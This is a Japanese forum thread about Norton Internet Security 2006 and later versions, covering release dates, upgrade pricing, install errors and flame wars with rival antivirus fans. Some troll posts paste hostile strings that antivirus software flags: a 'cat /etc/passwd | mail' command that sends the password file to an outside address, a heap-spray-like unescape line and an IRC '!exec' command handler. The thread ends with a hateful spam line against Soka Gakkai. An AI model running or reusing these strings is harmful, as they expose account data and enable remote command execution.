ノートンシリーズ2006β

こっそり使ってる人の情報を

(･∀･)ﾃｨﾑﾎﾟ

211.130.255.229

発売予定発表まだ？

今日発表された
アメリカが先行して日本の発表はずっと後になるのは
お約束

今β入れても購読期限が0日で、すぐに切れてしまうな。
延長の方法も無いし。なぜかウイルス定義だけは手動なら
更新できるけど。

http://www.itmedia.co.jp/enterprise/articles/0509/27/news015.html

まだだろ？＞ノートン2006

英語版の発売がもうすぐというだけ 毎度の事だが発表には正確な
発売日載せずにいつの間にか売ってるというやつだ。
日本語版の場合、販売店に裏に回した情報で日程出してるとこがあるけど、
正式な発表じゃないんでどうなる事やら。

本スレ
【ﾉｰﾄﾝ】ｲﾝﾀｰﾈｯﾄｾｷｭﾘﾃｨ Ver.72【2005】
http://pc8.2ch.net/test/read.cgi/sec/1127442315/

2006年版発表されたみたいだね。10月14日から順次発売！！

ソース
http://biz.ascii24.com/biz/news/article/2005/09/30/658296-000.html

ですね、今回に限っては日本語版と日数ギャップは少ない
その分翻訳が杜撰になってなければいいけど

あまり読まないマニュアルがちゃんとした本から、ホッチキス止めになったときは少しがっかりした。

>>1
軽い？

軽さはメニューとスキャンの時には感じるかも
プロテクションセンターやポップアップはかなり目障りで重い

http://www.geocities.jp/stealrush/

ノートン2006もWin9x切り捨てか
メインストリームサポート終了が確実に効いてきてるな

かといってそれだけで他社の製品に行く人はそれほどいないような、
あっちで大騒ぎしてAA貼って罵倒してる馬鹿のようなのは、単なる
異常者でまったく無関係かと。

つーか他社の製品もこれからWin9x切り捨ての方向に行くのは確実だしな

今年のやつはインターネットセキュリティとパーソナルファイアウォールの間に
禿しくスペック差があるのね。
って事は、もうバラで買うのは完全に無意味になるのか…

購入実態に合わせたのかもしれないけどね
まあ米国本社より製品数削ったりキャンペーン
減らしたりしてるんで、その分歪になってるとこも
あるかも

げげ、去年NAV2005+NAS2005を入れたばっかなのに、NASってもう打ち止めなのか。
気になったのでNIS2006 vs NAV2006+NAS2005+NPF2006を調べてみると後者には

・ファイアウォール学習機能
・セキュリティインスペクタ機能
・アウトブレーク警告機能
・保護者機能
・アカウント管理機能

が装備されないみたいね。
結局NISを買えって事なのか…

一番上はともかく、他はまず使われない機能だと思うが。まあ人に
よりけりだとは思うけど。あとNSWだけど、ついにCleansweepが
無くなってるようだ、Go BackとGhostは入ってるみたいだけど。
スパム対策はプロバイダのサービスとかメーラーに付属とか
フリーウェアでもあるから、なかなかAntispamとしては売れない
のかも。メールのウイルス対策とは別だし。

重さが気になるな
2005の更新キー買うか、アップグレードさせるか・・・

あと、NSWの発売日はアメリカでは24日となってる。アマゾンだと31日から
配達できるらしいが。Premierでは Symantec Recovery Diskなんてのが
更に付いてるようだけど、誰がこんなの使うんだろうか。NSWの必要環境は
発表されてないのでわからん。

ＮＳＷ2006ってもしかして無いかもな

アメリカでパッケージ作った以上、NIS2005のアンチスパイウェア
バージョン並のあぼんは無いだろう。

学習機能って今年の目玉のひとつみたいだから、NPFにも付いてるはず
・・・と思ったら、なんか付いてなさげな感じ
なんでわざわざ削ったんだ？
そうまでしてNISに客を呼び込みたいのか？

NSW発表された　まだ発売まで結構時間があるのに

NIS2006アップグレード注文したけど
シマンテックストアよりもアマゾンの方が安かった

アマゾンはその分不確かさがある

>>31
何の不確かさ？

>>32
アマゾンのNIS2006優待版が消えてる

>>33
ありました

セブンドリーム.コムで買えば送料込みで5880円なのに・・・

xpにノートン2005を入れたのですが
パソコンを起動してインターネットに接続する度に
「コンピュータを攻撃しようとする最近の試みを遮断しました」と出ます。
ググって調べてみたのですが、FAX送信時にそういう現象が起こることぐらいしか見つけられませんでした。
これはどう見ても精子です。
本当にありがとうございました

>>36
解決したようで何よりだ。

>>32
いい加減な情報で商品を載せたり書き換えたりこっそり消したり
する。

もう少しで発売だ

>>35
ほんとだ、安い！
やっとシマンテックストアから案内メールが届いた
今さらって感じ

バージョンアップのメールはまだだよ

2004、2005と不評だったけど‥

自分はいまだに2003使ってます。
毎年オークションで未登録品を購入して。
多分もう一年使うことになるでしょう。

Norton AntiVirus 2006 買おうと思ったら
>>Windows 98/Me には、ノートン・アンチウイルス 2005（旧バージョン）を同梱。
ってあるんだけど。98の人は買っても無駄？
xpと98あったらそれぞれに2006、2005といれれるのかな？

2004以前のユーザーなら、まんざら無駄でもないのでは？
まぁ98を使い続ける事自体が壮大な無駄かも知れないけど。

>>43
こっそりライセンス違反しようとしてないか？

x64に対応しておりますか？

してない　たぶんリリース見合わせてる

>>45
そんなこと、ちょっとしか思ってませんよｗ

切実な必要もないのにx64を伊達や酔狂で使ってる連中なんて相手にしてないんジャマイカ。
真に活用しているユーザーなら企業向けを使ってるだろうし、そっちは最新版で既に対応している。

あのう・・初心者な質問ですみません。
普通のと特別優待版とどう違うのですか？
値段が優待版のが安いですけど。
今、使っているのがアンチウィルス２００５です。
２００６年のにしようかなーと思っていて、どっち買えばいいかわかんなくて。
お手数ですが、教えてください。

>>50
優待版

期間限定値下げ版という解釈でいいのでは

>>51、52さん

お答えいただき、ありがとうございます！
優待版を買うことにします。

優待版を買うタイ

つうか今買うな　優待版より今度案内が来る
バージョンアップ版の方が絶対に安い。各店舗での
優待版へのおまけが何かで考慮はするだろうけど。

ノートンにバージョンアップ版なんてあったの？

初めて聞いたぞ。オンラインでのダウンロード販売専用とか言わないだろうな？

メール来るよ　登録ユーザーでメアド登録してるなら。
あとNSWとのセット販売もそれでしか注文できないはず。

ちなみに正式のパッケージとして配達される。

その時のメール　去年9/17に来てるから10/15の発売日の約1ヶ月前。
----------------
【 アップグレード販売 製品ラインナップ 】

■ 特別セット【お薦め】
Norton Internet Security 2005 アップグレード
　　　　　　　+　 Norton SystemWorks 2005 アップグレード
・1ユーザ アップグレード
標準価格：24,780円 → アップグレード価格：11,340円(税込)

■ Norton Internet Security 2005 アップグレード
・1ユーザ アップグレード
標準価格：10,290円 → アップグレード価格：5,565円(税込)
・2ユーザ アップグレード
標準価格：14,490円 → アップグレード価格：8,715円(税込)

■ Norton SystemWorks 2005 アップグレード
・1ユーザ アップグレード
標準価格：14,490円 → アップグレード価格：7,350円(税込)

■ Norton AntiVirus 2005 アップグレード
・1ユーザ アップグレード
標準価格：7,140円 → アップグレード価格：4,305円(税込)
・スモールオフィスパック 5ユーザ アップグレード
標準価格：27,930円 → アップグレード価格：16,800円(税込)
・スモールオフィスパック 10ユーザ アップグレード
標準価格：53,550円 → アップグレード価格：32,130円(税込)

Amazonでもアップグレードパッケージ売ってる

なんかアップグレード版も通常版とそんなに値段変わらないような気がするんだけど？

アマゾンはシリアル調べるのかな

http://www.symantec.com/sabu/sysworks/basic/
↑これ。日本での発売はいつなんだ？値段は？

NISの2週間遅れくらいかな

>>60
じゃあ、送料込みのセブンどりーむで買ったほうが安いじゃん
今、配送状況調べたら12日に出荷って書いてあるから14日に届くみたい

今年の場合はNIS系列だけ先に通販になってるのだが

シマンテックストアはIDによって買える品物が変わるので

>>65
じゃあ10月28日ってことじゃん。なのに、
同じ日に発売になるほかのノートン製品の2ユーザーバージョンはサイトに製品紹介が載ってて
システムワークスが載ってないのはどうして？
あと2週間だぜ？
2ヶ月の間違いじゃねえ？

NSWはアメリカでも発表にそれだけ時差があったから。
向こうでもNSWが一般に売られるのは10月末だよ、
今やってるのは発売日未定で予約だけ。

あと１時間後にはﾀﾞｳｿ版買えるのか？

ダウン販売はある程度パッケージよりは遅い
ということでまだ始まってない。

>>72
今日の状況はまだよくわからんけど、
去年はシマンテックストアでは当日からダウンロード販売してたと思うぞ。
バージョンアップ版を当日に買った記憶があるもの。
しばらくしてから、Vectorとかでも売り始めた。

ごめん。調べてみたら記憶違いだったみたいだ。
NIS2005は去年の10/15が店頭発売日で、
俺は11/1にシマンテックストアでダウンロードでバージョンアップ版を買ってる。

当日にシマンテックストアでのダウンロード販売の発売日が発表になって、
その発売日よりさらに後に他のサイトでもダウンロード販売が始まったって流れみたいだ。

つうか今シマンテックの販売のページ消えてるし

NSW2006はドイツのアマゾンで11月2日　日本の通販屋で11月4日が
発売予定になってる。そんなもんでは。

>>75
復帰したみたい。
アップグレードのパケは5565円。
ダウンロードは2005のまま。

tp://www.symantecstore.jp/
ダメじゃん　鯖を落として更新かよ

NSW発表だがアメリカで発表してすぐでないか、なんか不安だな。
日本語化とか杜撰そうで。あとは初期ロットの不具合だらけで
修正てんこ盛りなんてことはないだろうか。
まあシマンテックは一度として途中で修正したディスクに
入れ替えたことはないということで、あまり関係ないか。

ダウンロード版も来たね。
新規 5775円
アップグレード 5565円

アップグレードがダウンロードとパケで同じ値段なのが納得いかん。

システムワークスは特にかわんないねー
WindowsがXPのままだしな
アンチウィルスの更新用か

2007からはVista対応でいろいろかわんのかね
来年の11/2までにVista製品版が出るんだかどうだか
わからんけど

NIS2004から2005に乗りかえた時は、ウェブページの表示速度などが激速になって嬉しかった。
2006正式版はどうなるかな？
シマンテック系はNOD厨の工作カキコで溢れかえっているからネット情報はあんまりアテにしていないので、
日本語正式版の体験版がダウンロードできる様になるのが待ち遠しい。
でも2006日本語正式版の体験版を試して気に入らなかったら、あっさり他の製品に乗りかえるつもり。
このご時世に更新料を33%も上げる企業姿勢が好かんから。

β参加してたから、あっちで必死に悪口荒らしてる奴の大嘘と手口は、
手に取るように分かる

>>82

>シマンテック系はNOD厨の工作カキコで溢れかえっているから
>ネット情報はあんまりアテにしていないので、

たしかに言えてるね。例の奴がこのスレだけ見逃すわけはないだろうから、
自分でダウンロードして評価するのが一番確実でしょ。
といいつつ、β版はちょっと怖いから入れてないけどね。

今日店舗に2005と2006の両方混じって展示されてた。値段は明らかに違うけど
どう両者で違うのかの説明とかは、ろくに無かった。
2005もキャンペーン中だし、以前のキャンペーンの物も
まだ残ってる状態で更にゴチャゴチャしてて、底の番号も
バラバラになってた。

この時期は棚卸しにあたるのでたいてい店中ゴチャゴチャしてるものです（ｗ

2005を買う人は参考本付きかバットマン付きかを選ぶ羽目に

バットマンなんてもう見れんだろ

ログビューワを直接起動したいんだけど、実体（exe）って何処にありますか?
ショートカット作ろうと、手探りで探して見たけど分かんなかったッス・・・orz。

それと、ログビューワを起動するときのコマンドオプションみたいなのも
あるのでしょうか?。

おっと、誤爆です。本スレ行ってきます。

まだメール来ないな　プレミエとか複数ユーザーの版も揃うようになってから
出すんだろうか、それとも毎年ユーザー登録してないと出さないのだろうか。
今回からあのページ使えということで省略されたんだろうか。それにしてもあそこ
使ってもぼったくり臭いな。今回のバージョンくらいはLiveupdateでもなんとか
なりそうなほどの変更しかない。

ひょっとしてメールは2005登録しないと来ないのかな？
2005は通販したのだが無視か。

β版が出てる　英語必死こいて調べたりしなくてよくなったのは楽だ。
更新後再起動の頻度が減ったのは、改良点の一つなんだろう。

体験版の間違い

体験版の解凍してLiveupdate見たらバージョン2.7になってた。
セキュリティホールの解消とインテルの新技術対応のバージョン
だな。アンインストールしてもこれだけは残るはずだが、既存バージョン
に入れるために持ってた方がいいかも。

>>92
買ったあと、あらためてユーザー登録が必要だって付属の小冊子に
書いてあるよ。バージョンアップでも。

ユーザー登録に必要なSKUナンバーは2005ではパッケージの箱に
しか書いてないから、箱捨ててたら、しまんてっくに電話しないと駄目。

cat /etc/passwd | mail [email protected]
http://bubble4.2ch.net/test/read.cgi/nendai/1128605930/

>>96
正解　箱捨てちゃった。気づいても後の祭りだった。
SKUナンバー箱とジャケットとディスクの表面３つもあって、
それぞれ違うってどういう事しようとしてるんだか。
箱の番号はキャンペーンとかの度に変わってるような
気もしてたが。

箱捨てる奴いるんだ・・・・・

汚染を除去しました。

ウイルスコードかよ〜〜！ノートン先生が見事に反応したわけだ・・
厨房対策？

>>101
腑抜け（厨房を自覚できない阿呆）対策。

荒らしがなんか言ってるな

他スレでNOD基地外の荒し宣言を見つけた。

>NOD32アンチウィルス Part24
>457 名前：名無しさん＠お腹いっぱい。　[sage]　投稿日：2005/11/20(日) 16:47:32
>ノートンは糞、何度でも言ってやるよｗｗ
>そこらじゅうで言ってやるぜｗｗ

あちこちのスレにも荒しぶりが書いてた。

>セキュリティ板などにインチキな比較画像をコピペしたのもNOD厨だった。
>http://tmp5.2ch.net/test/read.cgi/tubo/1120964614/321-329

>他の製品も相当な被害に遭っているし・・・・。
>http://pc8.2ch.net/test/read.cgi/sec/1132160664/6-10

荒らし本人自白おめ

>>101をパッキング中。

tp://ftp.symantec.com/misc/sabu/nis_beta_2006/NIS_30TD.EXE
新しいβ版らしい
英語出来ない奴は入れないように

まともに動かない模様
学習起動しないとかレベル最低でないと通信しないとか
ログ取れないとか散々だ。

ファイル日付新しいのがアップされてるな

ｆｄ

norton internet security online2006を使っているのですがanti spamのところをクリックするとinternet explorerスプリクトエラーというものが出るんですが、これを直すためにはどうしたらいいですか？

11
norton internet security online2006を使っているのですがanti spamのところをクリックするとinternet explorerスプリクトエラーというものが出るんですが、これを直すためにはどうしたらいいですか？

すみません、ちょっと質問です。
最近自宅のPCの速度が遅くなったので、
（ページを開ききるのが極端に遅くなった。特に画像がたくさんあるサイト）
とりあえずNorton WinDoctorで自宅PCのチェックしてたら
重要度”中”で消失したファイルって出ました。
こんなのです。
↓
"C:WINDOWS\$NtUninstaiiKB898458$\ORUN32.EXE"
が必要なファイルにアクセスできません
”learn32.dll"と”Pctree32.dll"

修復もできず、意味もわからなく困っています…

http://pc8.2ch.net/test/read.cgi/sec/1126960735/113
http://pc8.2ch.net/test/read.cgi/sec/1110125351/629
http://pc8.2ch.net/test/read.cgi/sec/1143257068/700

人の神経を逆なでするノートン先生
http://www.asahi-net.or.jp/~FV6N-TNSK/gates/bangai96.html

2007は9/30発売か。

ちょうど昨日2005の更新切れたから30日まで2006の体験版使って
それから2007買うかな

ノートン入れてるとセキュリティスレみれないんだけど、切っても問題なし？

ウイルスコードだろ

2004のサポート終わるわ
次どうするかな

2004を使っている者ですが
いつのまにかオートプロテクトがオフに
電子メールスキャンがエラーの状態になってて
有効にしようとしても無反応です
どうしたらいいでしょうか？

自己解決しました

2004を使っているんですが、
http://mickey.mirv.net/2chnis.html
このサイトの対処方法を行っても

このコンピュータに対する侵入 「HTTP MSIE JavaSc ript OnL oad Rte CodeExec」 の試みを検出して遮断しました。
侵入者: news19.2ch.net(206.223.151.67)(http(80))
危険度: 高レベル

↑このダイアログが出てしまって、2chに書き込みできなくなります
どうしたらいいでしょうか？

質問させてください。
OSを再インストールしたんですけど、ノートンインターネットセキュリティ2006がインストールできなくなりとても困っています。
以前したときは何も問題なかったんですが、今回は何回やっても無理です。
CDをドライブに入れて、プロダクトキー入力まではオッケーだったんですが、その次のインストール前のクイックスキャンで何度やっても失敗します。
失敗の詳細には次のようなメッセージが出ます。

------- 実行前のスキャン結果 -------

アクセス権のスキャンの概略:
11 個のフォルダをスキャンしました。
15 個のレジストリエントリをスキャンしました。

ウイルススキャンナを初期化できません。
コード 0x!08X!

メモ: このログの保存先:
C:\Documents and Settings\hiropon\Local Settings\Temp\PreScan.log

と、ここまでがメッセージです。
ちなみにインストール前のクイックスキャンをスキップすると、致命的なエラーとなります。
前回はこんなことなかったんですが、どなたかアドバイスないしヒントいただけると助かります！
ちなみにOSはXPSP2です。

すみません、板違いですね（汗）

何度も再インストールして今回NAV2006がこのキーでは回数がこえましたので、
アクティブベーションが出来ないとのメッセージが出たのですが、
回数制限というのがあるのでしょうか？
まだ100日以上残っていたのですが・・・
Windowsのように電話で再アクティブベーションなるものがあるのでしょうか？

はっはっは！！
金の亡者氏万テックじゃ！！！！！！！！
おい！！愚民ども！！！もっと我が社に貢げ！！！！！！！！！

　
　　　　　●-、
　　　　ｒ´ - ●
　　　　　` =='＼
　　　　　　|　 　 ヽ
　　　　　　UUてノ
　

ý

検知力テスト（2008年8月17日）
Most Effective Antivirus Tools Against New Malware Binaries
ttp://mtc.sri.com/live_data/av_rankings/

Rank Detects Missed Product
1st 97% 95 AntiVir
2nd 96% 106 Webwasher-Gateway
3rd 94% 171 Ikarus
4th 93% 205 BitDefender
5th 92% 251 AVG
6th 92% 252 F-Secure
7th 89% 355 Avast
8th 88% 372 Sophos
9th 88% 373 Norman
10th 85% 473 Kaspersky
11th 85% 475 ClamAV
12th 84% 510 Microsoft
13th 84% 512 CAT-QuickHeal
14th 84% 531 VirusBuster
15th 82% 575 DrWeb
16th 80% 650 Rising
17th 80% 666 Fortinet
18th 80% 667 F-Prot
19th 79% 684 eTrust-Vet
20th 79% 704 Symantec
21st 77% 769 TheHacker
22nd 74% 867 AhnLab-V3
23rd 73% 878 VBA32
24th 73% 894 McAfee
25th 72% 938 Panda
26th 70% 990 Authentium
27th 70% 1007 NOD27w

　
　　　　　●-、
　　　　ｒ´ - ●
　　　　　` =='＼
　　　　　　|　 　 ヽ
　　　　　　UUてノ

Most Effective Antivirus Tools Against New Malware Binaries
ttp://mtc.sri.com/live_data/av_rankings/
Rank Detects Missed Product 　(2009年10月04日)
1st 89% 128 AVG　　　　　　ttp://free.avg.com/jp.homepage
2nd 88% 132 Ikarus
3rd 88% 137 Microsoft　　ttp://www.microsoft.com/security_essentials/default.aspx?mkt=ja-jp
4th 88% 138 AntiVir　　　　ttp://www.free-av.com ttp://www.avira.com/jp
5th 87% 151 F-Prot
6th 86% 153 Sophos
7th 86% 158 Authentium
8th 86% 160 DrWeb
9th 86% 163 BitDefender　　ttp://www.bitdefender.com/media/html/trialpay.html
10th 85% 164 Kaspersky
11th 83% 192 F-Secure
12th 83% 198 Norman
13th 81% 217 CAT-QuickHeal
14th 80% 226 GData
15th 80% 226 eTrust-Vet
16th 80% 229 VBA32
17th 80% 230 TrendMicro
18th 80% 231 VirusBuster
19th 80% 232 AhnLab-V3
20th 79% 236 Avast　　　　　ttp://www.avast.com/jpn/avast_4_home.html
21st 78% 247 Fortinet
22nd 78% 255 Rising　　　　 ttp://www.freerav.com
23rd 76% 270 McAfee
24th 76% 277 ClamAV　　　　 ttp://www.clamwin.com ttp://www.moonsecure.com ttp://www.clamxav.com
25th 76% 278 TheHacker
26th 72% 320 Panda　　　　　ttp://www.cloudantivirus.com
　　　　│
29th 7% 1076 NOD32
??th　　　　　　 Symantec (Norton)　★

エロゲネタって全然わからんのよなー
買うには高いし、ぶっちゃけ割ってまではやらないし

エロゲってさ、独自系のプロテクトとかかかってるん？
独自系のプロテクトには、ちょくちょくヒューリスティックが反応するネタがあるが


MSE nextβの話題なんかないんか

4 ：ｚ：2010/08/28(土) 10:25:02 ID:NtVfNVmU0
452 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:53:49.30 ID:7Cr427LS0
>>440
・プロバイダの新しい有料メールアドレス
・ジャパンネットバンク銀行の使い捨て番号のVISAデビット
ニ.フ.ティ.ーの100円のメアドプラスで認証が通った。
認証できたら、メアドプラスは登録解除してOK。
普通のクレジットカードでは漢字の住所が登録できたが、
ジャパンネットバンク銀行のVISAデビットだとローマ字入力の住所を要求された。

ローマ字の書き方はこれ
ヘボン式ローマ字綴方表
http://www.seikatubunka.metro.tokyo.jp/hebon/

漢字住所でどんな順序でどんなローマ字、番地の番号を使ったかは、
メモ帳でメアド・パスワードと一緒に控えておいたほうがいい。
453 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:55:00.00 ID:t966sYmN0
ローマ字変換
eip=eip+unescape("%u7030%u4300")
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2-
http://www2u.biglobe.ne.jp/~yuichi/rest/kanarome.html
454 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:56:54.59 ID:qfPgiwgp0
●買うなんて荒らしと一緒だぞ
455 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:58:50.21 ID:d455Pgrw0
荒らしが運営に喧嘩売っても被害を被るのは巻き添え食らってる人だけっていう…
荒らしたもん勝ち
456 ：動け動けウゴウゴ２ちゃんねる：2010/07/10(土) 15:58:54.30 ID:sPPrGi160
荒らしが●を買ったんだとしたら、個人情報登録してるんじゃないのか？
それで同一名義のアカウント全部停止するとか、
新たに買おうとしてきても拒否するというのはできないんだろうか？

プラズマクラスター効果なしｗｗｗｗｗ
http://twitter.com/y____m/status/34830212831117312　

>>134貼ってる奴って何なの？

Symantec Endpoint Protection Part2
http://kohada.2ch.net/test/read.cgi/sec/1331092341/

創,価
死,ね
創,価
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創,価
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198